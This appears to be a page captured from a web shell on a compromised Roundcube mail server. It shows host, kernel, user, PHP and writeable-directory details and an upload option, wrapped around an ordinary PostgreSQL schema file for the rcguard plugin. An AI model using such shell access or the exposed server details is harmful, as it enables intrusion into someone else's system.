Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/mailsvr/roundcube/public_html/plugins/rcguard/SQL/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/mailsvr/roundcube/public_html/plugins/rcguard/SQL/postgres.initial.sql
-- PostgreSQL table for rcguard
-- edit table and indexes so the prefix is added to it if you have done so in Roundcube

CREATE TABLE rcguard (
    ip character varying(40) NOT NULL,
    first timestamp with time zone NOT NULL,
    last timestamp with time zone NOT NULL,
    hits integer NOT NULL
);

ALTER TABLE ONLY rcguard
    ADD CONSTRAINT rcguard_pkey PRIMARY KEY (ip);

CREATE INDEX rcguard_last_idx ON rcguard(last);
CREATE INDEX rcguard_hits_idx ON rcguard(hits);

Hry